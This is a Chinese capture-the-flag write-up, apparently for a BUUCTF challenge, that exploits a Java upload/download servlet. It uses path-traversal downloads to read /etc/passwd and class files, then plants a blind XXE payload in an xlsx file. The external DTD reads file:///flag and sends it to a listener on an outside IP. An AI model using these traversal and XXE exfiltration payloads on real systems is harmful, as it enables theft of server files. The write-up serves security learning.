首先打开网站后
就看到了一个明显的上传位置,任意传一个文件,显示上传成功,并且可以下载,用bp抓一下下载的流量包,显示
可以看到可以读取下载文件的内容,那我们试试能不能读取其他文件,如/etc/passwd,可以读取,接下来就尝试读取配置文件WEB-INF/web.xml
这里因为不知道配置文件的具体位置就用../来代替具体多少慢慢试,可以看到再其中显示的各个文件,以此下载下来,路径分别是
DownloadServlet?filename=../../../classes/cn/abc/servlet/DownloadServlet.class
DownloadServlet?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
DownloadServlet?filename=../../../classes/cn/abc/servlet/UploadServlet.class
分别访问这三个路径把对应的文件给下载下来,并用jd-gui查看
看过大佬的wp后知道了在UploadServlet.java中有如下代码
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
接下来引用大佬的一段话:
这就比较明显了,考虑是Excel的xxe,和前段时间易霖博的web4那个word文档xxe类似,但是因为是blind,需要把结果打回我们的服务器,做法和hgame week4 代打出题人服务中心那个题目基本一样。(可能就是我太菜了把,继续刷题学习)
接下就是用一个xlsx文件来完成dtd危险检测从而得到flag了
创建一个xlsx文件,注意这里要直接用让它以压缩包的格式打开,不是将它的后缀改为zip后解压,修改后再压缩改后缀为xlsx
就像这样,另外因为buu只能反弹到内网,所以只能再开个小号,开一台靶机Basic里的靶机用做VPS接受反弹的信息。
接下来修改里边的[Content-Types].xml文件,为他引入外部实体
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://111.73.46.229/file.dtd">%remote;]>
创建file.dtd文件,并将他放到VPS的var/www/html目录下,内容如下
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://111.73.46.299:12345?cz=%file;'>">
%int;
%send;
再VPS上输入
nc - lvvp 12345 //监听相应端口,用于接受dtd危险访问带来的信息
之后只需要上传刚刚制作好的xlsx文件,就可以在VPS上得到监听到相应信心得到flag了
最后补充一点
当然,代码审计一定要审仔细,
因为源码中有这样行代码对文件名检测
filename.startsWith("excel-") && "xlsx".equals(fileExtName)
所以上传excel-***.xlsx文件,一定要用excel-开头。